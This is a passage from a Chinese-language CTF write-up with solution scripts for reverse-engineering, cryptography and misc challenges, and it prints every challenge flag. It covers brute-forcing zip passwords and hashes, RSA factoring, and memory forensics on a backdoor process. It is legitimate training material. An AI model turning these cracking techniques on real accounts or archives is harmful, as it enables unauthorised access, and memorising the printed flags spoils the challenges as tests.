s.add(361 * part1[0] + 472 * part1[1] + 773 * part1[2] + 220 * part1[3] + 794 * part1[4] + 237 * part1[5] + 762 * part1[6] + 676 * part1[7] + 595 * part1[8] + 623 * part1[9] + 328 * part1[10] + 198 * part1[11] == 523895)
s.add(681 * part1[0] + 513 * part1[1] + 789 * part1[2] + 237 * part1[3] + 960 * part1[4] + 773 * part1[5] + 621 * part1[6] + 608 * part1[7] + 335 * part1[8] + 383 * part1[9] + 395 * part1[10] + 812 * part1[11] == 655241)
s.add(503 * part1[0] + 702 * part1[1] + 628 * part1[2] + 150 * part1[3] + 672 * part1[4] + 324 * part1[5] + 795 * part1[6] + 892 * part1[7] + 738 * part1[8] + 610 * part1[9] + 150 * part1[10] + 862 * part1[11] == 643363)
s.add(16 * part1[0] + 590 * part1[1] + 294 * part1[2] + 408 * part1[3] + 757 * part1[4] + 272 * part1[5] + 101 * part1[6] + 4 * part1[7] + 174 * part1[8] + 801 * part1[9] + 550 * part1[10] + 163 * part1[11] == 313208)
s.add(956 * part1[0] + 720 * part1[1] + 177 * part1[2] + 741 * part1[3] + 579 * part1[4] + 5 * part1[5] + 863 * part1[6] + 135 * part1[7] + 571 * part1[8] + 451 * part1[9] + 935 * part1[10] + 762 * part1[11] == 618358)
s.add(227 * part1[0] + 600 * part1[1] + 185 * part1[2] + 874 * part1[3] + 579 * part1[4] + 518 * part1[5] + 356 * part1[6] + 185 * part1[7] + 267 * part1[8] + 370 * part1[9] + 35 * part1[10] + 153 * part1[11] == 389914)
s.add(173 * part1[0] + 641 * part1[1] + 83 * part1[2] + 826 * part1[3] + 218 * part1[4] + 845 * part1[5] + 282 * part1[6] + 893 * part1[7] + 578 * part1[8] + 29 * part1[9] + 636 * part1[10] + 746 * part1[11] == 555914)
s.add(61 * part1[0] + 999 * part1[1] + 324 * part1[2] + 493 * part1[3] + 387 * part1[4] + 470 * part1[5] + 643 * part1[6] + 961 * part1[7] + 605 * part1[8] + 926 * part1[9] + 85 * part1[10] + 406 * part1[11] == 554902)
s.add(857 * part1[0] + 823 * part1[1] + 648 * part1[2] + 45 * part1[3] + 949 * part1[4] + 230 * part1[5] + 763 * part1[6] + 810 * part1[7] + 603 * part1[8] + 707 * part1[9] + 809 * part1[10] + 88 * part1[11] == 628055)
s.add(797 * part1[0] + 159 * part1[1] + 229 * part1[2] + 642 * part1[3] + 999 * part1[4] + 534 * part1[5] + 624 * part1[6] + 442 * part1[7] + 500 * part1[8] + 938 * part1[9] + 851 * part1[10] + 84 * part1[11] == 568919)



#得出解,将解按顺序以我们需要的形式打印出来
if s.check() == sat:
    model = s.model()
    string = [chr(model[part1[i]].as_long().real) for i in range(12)]
    print("".join(string))
#无解
else:
    print('无')

~Wee@e_dV17r

异或合并,脚本逆向

def Reverse_Option(int_list):
    original_string = ''.join(chr(x) for x in int_list)
    return original_string

def Reverse_Xor_Or_Shift(encrypted_data):
    part2 = []
    for k in encrypted_data:
        part2.extend([
            (k >> 0) & 0xFF,
            (k >> 8) & 0xFF,
            (k >> 16) & 0xFF,
            (k >> 24) & 0xFF
        ])
    for i in range(len(part2) - 2, -1, -1):
        part2[i] ^= part2[i + 1] ^ 102
    original_data = Reverse_Option(part2)

    return original_data


# 假设 encrypted_data 是从 encrypt[12:32] 中获得的整数列表
encrypted_data = [674851397, 1515869815, 1803516244]
original_data = Reverse_Xor_Or_Shift(encrypted_data)

print(original_data)

@co0~o_c_mrk

Wee@e_dV17r@co0o_c_mrk

最后是栅栏密码解密

StrangeBroadcast

flag:redrock{010716129f9491db45e842a6562410a2901}

关于广播,就是相当于系统发一段通知,然后所有程序收到对应信号之后,对于特定的标识进行特定的反应

对于广播的触发点,一般写广播都会重写**onReceive,因此直接搜索这个函数**

可以找到逻辑,需要输入一个用户名,然后进行哈希验证,成功就打印flag

因此在use这个变量名后面需要接入用户名

对于创建一个广播,还需要知道类型。

创建一个广播之后可以知道一般会写一个**onCreate 函数来进行声明**

这里就找到了广播类型

接下来,手机连接之后,在adb中输入刚刚得到的信息,然后发送广播

adb shell am broadcast -a com.examp1e.oc4an -e user "admin”

发送广播之后,查看手机

Tiger

flag:Redrock{I_am_Tiger_Who_are_you}

64位exe 用IDA Pro打开

经过分析,是一道迷宫题

unk_7ff706BA3520是迷宫的地图,可以动态调试将其提取出来

12*12的棋盘 墙面为O终点为0x16,起点为0x01

用脚本提取出迷宫

#include<stdio.h>
int main()
{

char map[144] = {0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x01, 
    0x06, 0x06, 0x06, 0x06, 0x4F, 0x4F, 0x06, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x06, 0x4F, 0x4F, 
    0x4F, 0x06, 0x06, 0x4F, 0x4F, 0x4F, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x4F, 0x4F, 
    0x4F, 0x4F, 0x06, 0x4F, 0x4F, 0x4F, 0x4F, 0x06, 0x4F, 0x06, 0x06, 0x4F, 0x4F, 0x4F, 0x06, 0x4F, 
    0x4F, 0x4F, 0x4F, 0x06, 0x4F, 0x4F, 0x06, 0x4F, 0x4F, 0x06, 0x06, 0x4F, 0x4F, 0x4F, 0x4F, 0x06, 
    0x4F, 0x06, 0x06, 0x4F, 0x4F, 0x06, 0x4F, 0x4F, 0x4F, 0x4F, 0x06, 0x06, 0x4F, 0x06, 0x4F, 0x4F, 
    0x4F, 0x06, 0x06, 0x06, 0x06, 0x4F, 0x16, 0x4F, 0x4F, 0x06, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 
    0x06, 0x4F, 0x06, 0x4F, 0x4F, 0x06, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x06, 0x06, 0x06, 0x06, 
    0x06, 0x06, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F, 0x4F};
     int num = 0;
     for (int i = 0; i < 144; i++)
     {
         
         printf("%02x ", map[i]);
         num++;
         if (num == 12)
         {
             printf("\n");
             num = 0;
         }
            
    }
return 0;
}

地图如下

4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f
4f 4f 4f 01 06 06 06 06 4f 4f 06 4f
4f 4f 4f 4f 4f 06 4f 4f 4f 06 06 4f
4f 4f 06 06 06 06 06 06 06 06 4f 4f
4f 4f 06 4f 4f 4f 4f 06 4f 06 06 4f
4f 4f 06 4f 4f 4f 4f 06 4f 4f 06 4f
4f 06 06 4f 4f 4f 4f 06 4f 06 06 4f
4f 06 4f 4f 4f 4f 06 06 4f 06 4f 4f
4f 06 06 06 06 4f 16 4f 4f 06 4f 4f
4f 4f 4f 4f 06 4f 06 4f 4f 06 4f 4f
4f 4f 4f 4f 06 06 06 06 06 06 4f 4f
4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f

用wasd走迷宫 ddssddddsdssassssaaaww

分析可以发现步数是加密了的,因此将wasd转化为对应的方向,然后再以此为密文,进行解密

#include<stdio.h>
int main()
{
char arr[30] = {0x2D, 0x3A, 0x14, 0x1B, 0x37, 0x3D, 0x03, 0x0C, 0x1E, 0x1F, 0x22, 0x29, 0x05, 0xEF, 0xDE, 0xE3,
                    0xF1, 0x17, 0x2C, 0x0D, 0xE4, 0xF9, 0x38, 0x43, 0x89, 0x62, 0xCD, 0x0C, 0x07, 0x7A, 0x2B, 0x63};

    char a[24] = {"ddssddddsdssassssaaaww"};
    char a2[24];
    for (int i = 0; i < 22; i++)
    {
        switch (a[i])
        {
        case 'w':
             a2[i] = 141;
             break;
        case 'a':
             a2[i] = 155;
             break;
        case 's':
             a2[i] = 137;
             break;
        case 'd':
             a2[i] = 158;
             break;
        }
    }
    char flag[23];
    for (int i = 0; i < 22; i++)
    {
        flag[i] = ((a2[i] ^ 0xfa) + i) ^ arr[i];
    }
    for (int i = 0; i < 22; i++)
    {
        printf("%c", flag[i]);
    }

return 0;
}

得到flag

CRYPTO

easy_base

flag:0xFA{tHis_iS_ba5e64_enCodinG}

base64解密

密文

QmFzZTY0IGlzIGEgZ3JvdXAgb2YgYmluYXJ5LXRvLXRleHQgZW5jb2Rpbmcgc2NoZW1lcyB0aGF0IHJlcHJlc2VudCBiaW5hcnkgZGF0YS4gQW5kIGZsYWcgaXMgMHhGQXt0SGlzX2lTX2JhNWU2NF9lbkNvZGluR30=

原文

Base64 is a group of binary-to-text encoding schemes that represent binary data. And flag is 0xFA{tHis_iS_ba5e64_enCodinG}

easy_caesar

flag:0xFA{venividivici}

凯撒解密 偏移量为3

密文

qrzbrxnqrzfdhvduflskhudqgiodjlvyhqlylglylfl

原文

nowyouknowcaesarcipherandflagisvenividivici

easy_morse

flag:0xFA{EA5Y1M0R5E1C0DE}

摩斯解密

密文

./.-/...../-.--/.----/--/-----/.-./....././.----/-.-./-----/-.././

原文

EA5Y1M0R5E1C0DE

easy_passwd

flag:0xFA{adminadmin}

md5解密

密文

f6fdffe48c908deb0f4c3bd36c032e72

原文

adminadmin

easy_rsa

flag:0xFA{F4ct0r_Pr1me}

n = 412185872968401257793868364974500949106246851673 e = 65537 cipher = 238402953668524899208063558207075404357269541120

在线网站将n分解

611687078420145662043749

673850874916284786767077

脚本解密

from sympy import mod_inverse

# 给定的两个大素数p和q
p = 611687078420145662043749
q = 673850874916284786767077

# 给定的公钥指数e和密文cipher
e = 65537
cipher = 238402953668524899208063558207075404357269541120

# 计算n,n是p和q的乘积
n = p * q

# 计算phi(n),即n的欧拉函数值
phi_n = (p - 1) * (q - 1)

# 计算私钥指数d,d是e关于phi(n)的模逆元
d = mod_inverse(e, phi_n)

# 使用私钥指数d来解密密文
# 使用pow函数进行快速幂模运算,避免直接计算过大的数字
plain = pow(cipher, d, n)

# 打印结果
print(f"公钥(n, e): ({n}, {e})")
print(f"私钥指数d: {d}")
print(f"解密后的明文: {plain}")

明文解密

def int_to_bytes(n):
    # 将整数转换为字节序列
    return n.to_bytes((n.bit_length() + 7) // 8, 'big')

def bytes_to_string(b):
    # 将字节序列转换为字符串
    try:
        return b.decode()
    except UnicodeDecodeError:
        # 如果无法直接解码,可能是因为存在非法的字节序列
        return "不能解码为字符串"

# 给定的明文整数
plain_int = 4222316994714303769606460264681494360712573

# 将整数转换为字节序列
plain_bytes = int_to_bytes(plain_int)

# 将字节序列转换为字符串
plain_str = bytes_to_string(plain_bytes)

print(plain_str)

easy_wfa

flag:0xFA{welcome_to_oxfa}

单表加密法,需要分析字母频率

from collections import Counter

# 替换这里的文本为你的密文
ciphertext = """
lkq pghiley veyyqh eom lkq nyea xi sqypfjq lf fzne 

xo e gqeyj bqhfom fdg fso skqgq jfdolexoi skxirqgqm iqpgqli lf lkq gxvqgi eom lgqqi kdjjqm ydyyebxqi qvqgh mdiu lkqgq sei e veyyqh ikgfdmqm xo e gemxeol ayfs lkxi sei lkq pghiley veyyqh

lkq gqeifo nfg xli oejq sei pyqeg lf eoh seomqgqg skf kerrqoqm drfo lkxi jeaxpey ryepq lkq agfdom sei revqm sxlk aqjilfoqi lgqqi kem yqevqi fn qjqgeym eom nyfsqgi ikxjjqgqm sxlk ierrkxgq rqleyi lkq gxvqg nyfsqm sxlk e iqgqoq ixyvqgh yxakl xyydjxoelxoa lkq qolxgq veyyqh

bdl lkq jfil jeaoxnxpqol ixakl sei el lkq pqolqg fn lkq veyyqh e lgqq ageomqg lkeo eoh flkqg sxlk bgeopkqi ilgqlpkxoa fdl sxmq lfdpkxoa lkq iuxqi lkxi sei lkq pghiley lgqq xli begu jemq fn mxejfom eom xli ngdxl e pghiley erryq kqym lkq pfjbxoqm sximfj fn lkq sfgym

yqaqom lfym fn xli jeaxp skfqvqg leilqm lkq erryq sfdym aexo e mqqr domqgileomxoa fn lkq doxvqgiq bdl el e rgxpq lkq lgqq sfdym foyh bqeg foq ngdxl qvqgh pqoldgh eom fopq rxpuqm lkq veyyqh sfdym bq ikgfdmqm xo meguoqii nfg lkq oqzl kdomgqm hqegi

foq meh e hfdoa axgy oejqm qyege adxmqm bh lkq skxirqgi fn lkq sxom nfdom kqg seh lf lkq pghiley veyyqh jqijqgxcqm bh lkq bqedlh ikq sei lqjrlqm bh lkq yqaqom fn lkq pghiley lgqq ei ikq errgfepkqm xl lkq lgqq irfuq iqquqg fn sximfj mf hfd sxik lf pyexj lkq pghiley erryq”

“x mf” qyege gqryxqm kqg vfxpq lgqjbyxoa bdl x nqeg lkq meguoqii xl sfdym bgxoa

lkq lgqq gqirfomqm lkq meguoqii xi e pfoiqwdqopq bdl ofl e rdoxikjqol qvqgh yxakl peili e ikemfs sximfj bgxoai sxlk xl lkq bdgmqo fn uofsxoa

aelkqgxoa kqg pfdgeaq qyege pkfiq ofl lf leuq lkq erryq xoilqem ikq mqpxmqm lf ixl bqoqelk lkq lgqq yqllxoa xli ikxjjqgxoa yxakl meopq egfdom kqg mehi ldgoqm xolf oxakli eom oxakli xolf mehi sxlk qepk reiixoa jfjqol qyege nqyl e pfooqplxfo lf lkq sfgym egfdom kqg domqgileomxoa xl xo sehi ikq oqvqg xjeaxoqm

foq jfgoxoa ei lkq nxgil gehi fn meso uxiiqm lkq veyyqh lkq pghiley lgqq bfgq e oqs ngdxl xl sei of yfoaqg e pghiley erryq bdl e gemxeol kqegl ikxjjqgxoa sxlk pfyfgi lkel kem oqvqg bqqo iqqo bqnfgq

hfdg kqegl eom hfdg pkfxpq kevq lgeoinfgjqm lkq axnl skxirqgqm lkq lgqq sxlk yfvq eom relxqopq hfd kevq nfdom sximfj lkq kqegl kfymi lkq bqedlh fn domqgileomxoa sxlkfdl peilxoa e ikemfs

qyege sxlk lqegi fn tfh kqym lkq kqegl pyfiq ikq gqeyxcqm lkel ifjqlxjqi sximfj xio’l ebfdl leuxoa bdl ebfdl axvxoa ofl ebfdl uofsxoa qvqghlkxoa bdl domqgileomxoa lkq veydq fn qvqghlkxoa

eom if lkq yqaqom fn lkq pghiley veyyqh qvfyvqm lqyyxoa leyqi ofl fn e pghiley erryq bdl fn e gemxeol kqegl eom e hfdoa axgy skf pkfiq lf domqgileom lkq sfgym sxlk yfvq

lkq veyyqh pfolxodqm lf ayfs bgxaklqg lkeo qvqg sqypfjxoa seomqgqgi sxlk xli aqolyq qjbgepq eom gqjxomxoa lkqj lkel ifjqlxjqi lkq tfdgoqh eom lkq pkfxpqi jemq eyfoa lkq seh egq jfgq gqsegmxoa lkeo lkq mqilxoelxfo xliqyn
"""

# 移除空格和换行符
ciphertext = ciphertext.replace(" ", "").replace("\n", "")

# 计算每个字符的频率
frequency = Counter(ciphertext)

# 打印结果
for char, freq in frequency.most_common():
    print(f"{char}: {freq}")

q出现频率最大 分析可能映射e

lkq 对应 the

手动推理得

abcdefghijklmnopqrstuvwxyz

gbzuaorysmhtdfncepwhkvqilx

编写脚本解密

# 原始字母表
original_alphabet = "gbzuaorysmhtdfncepwhkvqilx"

# 提供的密钥映射
encryption_key = "abcdefghijklmnopqrstuvwxyz"

# 反向映射,用于解密
decryption_key = {encryption_key[i]: original_alphabet[i] for i in range(len(original_alphabet))}

# 解密函数
def decrypt(ciphertext):
    # 将密文转换为小写
    ciphertext = ciphertext.lower()
    # 解密过程
    plaintext = ''.join(decryption_key.get(letter, letter) for letter in ciphertext)
    return plaintext

# 示例密文,你可以用实际的密文替换这里
ciphertext = """
lkq pghiley veyyqh eom lkq nyea xi sqypfjq lf fzne 

xo e gqeyj bqhfom fdg fso skqgq jfdolexoi skxirqgqm iqpgqli lf lkq gxvqgi eom lgqqi kdjjqm ydyyebxqi qvqgh mdiu lkqgq sei e veyyqh ikgfdmqm xo e gemxeol ayfs lkxi sei lkq pghiley veyyqh

lkq gqeifo nfg xli oejq sei pyqeg lf eoh seomqgqg skf kerrqoqm drfo lkxi jeaxpey ryepq lkq agfdom sei revqm sxlk aqjilfoqi lgqqi kem yqevqi fn qjqgeym eom nyfsqgi ikxjjqgqm sxlk ierrkxgq rqleyi lkq gxvqg nyfsqm sxlk e iqgqoq ixyvqgh yxakl xyydjxoelxoa lkq qolxgq veyyqh

bdl lkq jfil jeaoxnxpqol ixakl sei el lkq pqolqg fn lkq veyyqh e lgqq ageomqg lkeo eoh flkqg sxlk bgeopkqi ilgqlpkxoa fdl sxmq lfdpkxoa lkq iuxqi lkxi sei lkq pghiley lgqq xli begu jemq fn mxejfom eom xli ngdxl e pghiley erryq kqym lkq pfjbxoqm sximfj fn lkq sfgym

yqaqom lfym fn xli jeaxp skfqvqg leilqm lkq erryq sfdym aexo e mqqr domqgileomxoa fn lkq doxvqgiq bdl el e rgxpq lkq lgqq sfdym foyh bqeg foq ngdxl qvqgh pqoldgh eom fopq rxpuqm lkq veyyqh sfdym bq ikgfdmqm xo meguoqii nfg lkq oqzl kdomgqm hqegi

foq meh e hfdoa axgy oejqm qyege adxmqm bh lkq skxirqgi fn lkq sxom nfdom kqg seh lf lkq pghiley veyyqh jqijqgxcqm bh lkq bqedlh ikq sei lqjrlqm bh lkq yqaqom fn lkq pghiley lgqq ei ikq errgfepkqm xl lkq lgqq irfuq iqquqg fn sximfj mf hfd sxik lf pyexj lkq pghiley erryq”

“x mf” qyege gqryxqm kqg vfxpq lgqjbyxoa bdl x nqeg lkq meguoqii xl sfdym bgxoa

lkq lgqq gqirfomqm lkq meguoqii xi e pfoiqwdqopq bdl ofl e rdoxikjqol qvqgh yxakl peili e ikemfs sximfj bgxoai sxlk xl lkq bdgmqo fn uofsxoa

aelkqgxoa kqg pfdgeaq qyege pkfiq ofl lf leuq lkq erryq xoilqem ikq mqpxmqm lf ixl bqoqelk lkq lgqq yqllxoa xli ikxjjqgxoa yxakl meopq egfdom kqg mehi ldgoqm xolf oxakli eom oxakli xolf mehi sxlk qepk reiixoa jfjqol qyege nqyl e pfooqplxfo lf lkq sfgym egfdom kqg domqgileomxoa xl xo sehi ikq oqvqg xjeaxoqm

foq jfgoxoa ei lkq nxgil gehi fn meso uxiiqm lkq veyyqh lkq pghiley lgqq bfgq e oqs ngdxl xl sei of yfoaqg e pghiley erryq bdl e gemxeol kqegl ikxjjqgxoa sxlk pfyfgi lkel kem oqvqg bqqo iqqo bqnfgq

hfdg kqegl eom hfdg pkfxpq kevq lgeoinfgjqm lkq axnl skxirqgqm lkq lgqq sxlk yfvq eom relxqopq hfd kevq nfdom sximfj lkq kqegl kfymi lkq bqedlh fn domqgileomxoa sxlkfdl peilxoa e ikemfs

qyege sxlk lqegi fn tfh kqym lkq kqegl pyfiq ikq gqeyxcqm lkel ifjqlxjqi sximfj xio’l ebfdl leuxoa bdl ebfdl axvxoa ofl ebfdl uofsxoa qvqghlkxoa bdl domqgileomxoa lkq veydq fn qvqghlkxoa

eom if lkq yqaqom fn lkq pghiley veyyqh qvfyvqm lqyyxoa leyqi ofl fn e pghiley erryq bdl fn e gemxeol kqegl eom e hfdoa axgy skf pkfiq lf domqgileom lkq sfgym sxlk yfvq

lkq veyyqh pfolxodqm lf ayfs bgxaklqg lkeo qvqg sqypfjxoa seomqgqgi sxlk xli aqolyq qjbgepq eom gqjxomxoa lkqj lkel ifjqlxjqi lkq tfdgoqh eom lkq pkfxpqi jemq eyfoa lkq seh egq jfgq gqsegmxoa lkeo lkq mqilxoelxfo xliqyn
"""

# 调用解密函数并打印解密后的文本
plaintext = decrypt(ciphertext)
print("解密后的文本:", plaintext)

easy_pow

flag:Redrock{b9e71b71-bf9c-40e4-8bbe-48e86bbf7709}

import itertools
import hashlib
import string

# 给定的哈希值和字符串
given_hash = "178245ac32d894cfbcd1863c662d1fb161cd6ee96b655321b4fa7f251ef0db7b"
given_string = "jlzOSXOuy1ec1Tb7"

# 字符集,由于是4个字符,所以我们可以假设它是可打印的ASCII字符
charset = string.ascii_letters + string.digits

# 穷举所有可能的4个字符的组合
for combo in itertools.product(charset, repeat=4):
    # 将字符元组转换为字符串
    test_str = ''.join(combo)
    # 计算当前测试字符串的哈希值
    test_hash = hashlib.sha256(test_str.encode() + given_string.encode()).hexdigest()
    # 如果测试哈希值与给定的哈希值匹配,我们找到了答案
    if test_hash == given_hash:
        print(f"找到了XXXX的值:{test_str}")
        break

leak_d

flag:Redrock{02d6e0c4-bd4f-45e6-8c13-5e25ab0461bf}

# 给定的N, C和D
n = 
c = 
d = 

# 解密密文
plaintext = pow(c, d, n)

# 将明文转换为字节
plaintext_bytes = plaintext.to_bytes((plaintext.bit_length() + 7) // 8, 'big')

# 尝试解码明文(如果它是一个UTF-8编码的文本消息)
try:
    decoded_plaintext = plaintext_bytes.decode('utf-8')
    print("Decoded plaintext:", decoded_plaintext)
except UnicodeDecodeError:
    print("The decrypted plaintext is not a valid UTF-8 string.")

easy_dhke

flag:0xFA{DHKE_is_a_simple_Discrete_logarithm_Problem}

分析服务端代码

-p 是一个大的素数,用作DHKE中的模。
- g 是基数,用于生成DHKE中的公钥。
- alice 是Alice的私钥,一个由Alice选择的整数。
- bob 是Bob的私钥,一个由Bob选择的整数。
- Bob 是Bob计算的公钥,等于 g^bob mod p
- key 是由Alice计算的共享密钥,等于 Bob^alice mod p 转换为字节。

- 服务器端生成一个20个字符的随机字符串作为secret
- 服务器端使用共享密钥对secret加密,并将密文发给客户端。
- 客户端需要解密消息,并将原始的secret发送回服务器。
- 如果客户端成功返回secret,服务器要求客户端使用共享密钥加密字符串"HackedBy0xfa"并将其发回。

使用脚本解决

首先计算key

from Crypto.Util.number import *  # type: ignore
import socketserver
import signal
import string
import random
import os
p = 327824197795087630552811243153730025469
g = 5
alice = 22751
bob = 39494
Bob = pow(g, bob, p)
key = long_to_bytes(pow(Bob, alice, p))
print(key)

key = \xde\x97\x9d\x83\xceh\x90\xc9\xe94\x0eH^\x07\xde

然后是解密

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key =b'\xde\x97\x9d`\x83\xceh\x90\xc9\xe94\x0eH^\x07\xde'
encrypted_message =b''

cipher = AES.new(key, AES.MODE_ECB)

text = unpad(cipher.decrypt(encrypted_message), AES.block_size)

print(text.decode('utf-8'))

最后是加密

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

shared_key = b'\xde\x97\x9d`\x83\xceh\x90\xc9\xe94\x0eH^\x07\xde'

plain_text = b"'HackedBy0xfa'"

cipher = AES.new(shared_key, AES.MODE_ECB)

message = cipher.encrypt(pad(plain_text, AES.block_size))
print(message)

MISC(AK)

easy_qrcode

flag:0xFA{It's_really_easy}

得到四张碎片图片,用PS拼接后扫描

easy_traffic

flag:0xFA{Try_to_cAtCh_oceaner}

WireShark导出http对象,发现flag.txt,然后追踪TCP流

easy_unpack

flag:0xFA{0nly_oceaner_Can_dec0mPress}

压缩包套娃,使用py脚本破解

import zipfile
import os

# 设定包含unpack.zip的目录路径
base_path = 'D:/桌面/新建文件夹/'

def flag(number):
    try:
        # 根据提供的数字构造新的zip文件的名称
        zipname = 'flag' + str(number) + '.zip'

        # 设定完整的unpack.zip路径和新的zip文件路径
        original_zip_path = os.path.join(base_path, 'unpack.zip')
        new_zip_path = os.path.join(base_path, zipname)

        # 重命名unpack.zip到新的文件名
        os.rename(original_zip_path, new_zip_path)

        # 使用新的文件路径来打开zip文件
        zfile = zipfile.ZipFile(new_zip_path, 'r')
        print(zfile)
        # 解压缩到指定的目录
        zfile.extractall(path=base_path)
        zfile.close()
    except FileNotFoundError:
        print("未找到文件,请检查路径。")
    except zipfile.BadZipFile:
        print("文件不是压缩文件或压缩文件已损坏。")
    except Exception as e:
        print(f"发生错误:{e}")

# 尝试解压缩1000个可能的zip文件
for i in range(0, 1000):  # 数值可以做调整
    flag(i)

easy_wordle

flag:Redrock{de8f0caf-65ce-4770-bfc3-f3f59afebe24}

猜单词游戏,nc靶机交互后用此脚本破解

def update_word_list(word_list, guess, feedback):
    new_word_list = []
    feedback_list = feedback.split()
    
    for word in word_list:
        if len(word) != len(feedback_list):
            continue

        match = True
        for i, (g_letter, f) in enumerate(zip(guess, feedback_list)):
            if f == '绿' and word[i] != g_letter:
                match = False
                break
            elif f == '黄' and (g_letter not in word or word[i] == g_letter):
                match = False
                break
            elif f == '灰' and g_letter in word:
                match = False
                break

        if match:
            new_word_list.append(word)

    return new_word_list

# 加载单词列表
def load_word_list(filename):
    with open(filename, 'r') as file:
        return [line.strip() for line in file.readlines()]

# 主函数,控制游戏逻辑
def main():
    word_list_filename = 'D:\\Download\\Firefox Download\\wordlist.txt'  # 你的单词列表文件路径
    word_list = load_word_list(word_list_filename)

    attempts = 6
    while attempts > 0 and len(word_list) > 1:
        print(f"\n剩余单词数量: {len(word_list)}")
        guess = input(f"请输入第 {7 - attempts} 次猜测的单词: ").strip().lower()
        feedback = input("请输入单词的反馈 (使用 绿 黄 灰 来表示): ").strip().lower()

        word_list = update_word_list(word_list, guess, feedback)
        print("可能的单词列表: ", word_list)
        attempts -= 1

    if len(word_list) == 1:
        print(f"\n可能的单词是: {word_list[0]}")
    else:
        print("\n未能准确找到单词。需要更多的反馈。")

if __name__ == "__main__":
    main()

easy_zip

flag:0xFA{Passw0rd_is_123456}

压缩包爆破得到密码123456

神秘的声音

flag:redrock{MSSTV}

来自外星的信号题类似,听过一遍就能知道用MMSSTV

哪里难了?

flag:redrock{we1c0me t0 CTF w0rld}

docx隐藏文字,打开显示隐藏文字选项,然后用base32解码,最后用凯撒密码枚举破解

CheckIn

flag:Redrock{Cyber_security_is_for_the_people_and_cyber_security_depends_on_the_people}

关注公众号获取

问卷调查

flag:Redrock{Hacking_For_Fun 😃}

填写问卷获取

yyz想要回到过去

flag:redrock{Z3tmZm00dmFwcG04NHZhYDRte2FmNHVmcTR9ejQxZx5ne2ZmbTR2YXBwbTg0dm}

cmd命令行中运行此程序,提示时间不对

结合题目描述和静态分析,将系统时间改为2019年再启动即可

海燕的秘密

flag:redrock{grEa1e_y0u_Kn0w_h0w_t0_uSe_21p}

第一层加密:暴力破解压缩包

第二层加密:根据附带字典破解

第三层加密:根据压缩包中含有已知文件,明文破解

破解后是一张图片,010Editor查看后发现PK字样,使用binwalkforemost提取文件得到flag图片

easy_maze

flag:Redrock{d25d6a5e-0e5a-447e-967f-4d6b1a782348}

迷宫题,编写递归py脚本与靶机交互

import socket
import time

class MazeSolver:
    def __init__(self, host, port):
        self.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.client_socket.connect((host, port))
        self.visited = set()  # 用于记录访问过的位置
        self.backtrack = {'w': 's', 's': 'w', 'a': 'd', 'd': 'a'}  # 用于回溯的方向映射

    def send_data(self, data):
        print(f"Sending: {data}")
        self.client_socket.sendall(data.encode() + b'\n')
        time.sleep(0.5)  # 延时以确保不会发送太快

    def receive_data(self):
        response = self.client_socket.recv(2048)  # 假设每次响应不会超过2048字节
        if not response:
            return None
        return response.decode()

    def solve_maze(self, position=(0, 0), move=''):
        if move:
            self.send_data(move)
            response = self.receive_data()
            if response is None:
                return False

            print(f"Response for move {move}: {response.strip()}")

            if "bumped into the wall" in response:
                return False
            if "exit" in response.lower():
                print("Found the exit!")
                return True
        else:
            print("Starting at the maze entrance")

        self.visited.add(position)

        # 假设迷宫只有上下左右四个方向
        directions = {'w': (-1, 0), 's': (1, 0), 'a': (0, -1), 'd': (0, 1)}
        for direction, (dx, dy) in directions.items():
            new_position = (position[0] + dx, position[1] + dy)
            if new_position not in self.visited:
                if self.solve_maze(new_position, direction):
                    return True

        # 回溯
        if move:
            backtrack_move = self.backtrack[move]
            self.send_data(backtrack_move)
            self.receive_data()

        return False

    def close_connection(self):
        self.client_socket.close()


# Replace 'localhost' and 12345 with the actual host and port
host = '172.20.14.117'
port = 39727
solver = MazeSolver(host, port)

try:
    if solver.solve_maze():
        print("Maze solved successfully!")
    else:
        print("Failed to solve the maze.")
finally:
    solver.close_connection()

3G之前是什么

flag:Redrock{0f69340f-403c-404e-85c9-476d31870e47}

概率论, 最简单的方法就是直接问。胜率高达99.9%

betacat@betacat-virtual-machine:~$ nc 172.20.14.117 35218
The Unbreakable Shannon has returned, with some suspicious chests and a far more complicated strategy -- he MAY LIE ONCE OR TWICE! Can you still get all the treasure without losing your head?
Seven chests lie here, with mimics or treasure hidden inside.
But don't worry. Trusty Shannon knows what to do.
Ask Shannon:
[-] C0
Shannon answers: True!

Ask Shannon:
[-] C0
Shannon answers: True!

Ask Shannon:
[-] C1
Shannon answers: True!

Ask Shannon:
[-] C1
Shannon answers: False!

Ask Shannon:
[-] C1
Shannon answers: False!

Ask Shannon:
[-] C2
Shannon answers: False!

Ask Shannon:
[-] C3
Shannon answers: True!

Ask Shannon:
[-] C3
Shannon answers: False!

Ask Shannon:
[-] C3
Shannon answers: True!

Ask Shannon:
[-] C4
Shannon answers: True!

Ask Shannon:
[-] C5
Shannon answers: False!

Ask Shannon:
[-] C6
Shannon answers: False!

Ask Shannon:
[-] C6
Shannon answers: False!

Ask Shannon:
[-] C6
Shannon answers: False!

Ask Shannon:
[-] C6
Shannon answers: False!

Now open the chests:
[-] 1 0 0 1 1 0 0
You've found all the treasure! b'Redrock{0f69340f-403c-404e-85c9-476d31870e47}'

内存取证

flag:flag{pbDTKxxUMKoXP9Ah}

使用volatility工具分析

python3 vol.py -f data.vmem windows.pstree

列出进程发现后门程序 backdoor.exe PID为2920

将它的映像提取出来

python3 vol.py -f data.vmem windows.dumpfiles

在010editor中查看 file.0xbe810c8473f0.0xbe810b970660.ImageSectionObject.backdoor.exe

得到flag

大雪树锯结构

flag:Redrock{7ee3dc66-df21-4419-bfd9-e31287ac1833}

使用 git 相关命令检查发现的 Git 仓库目录结构,确认是 Git 仓库

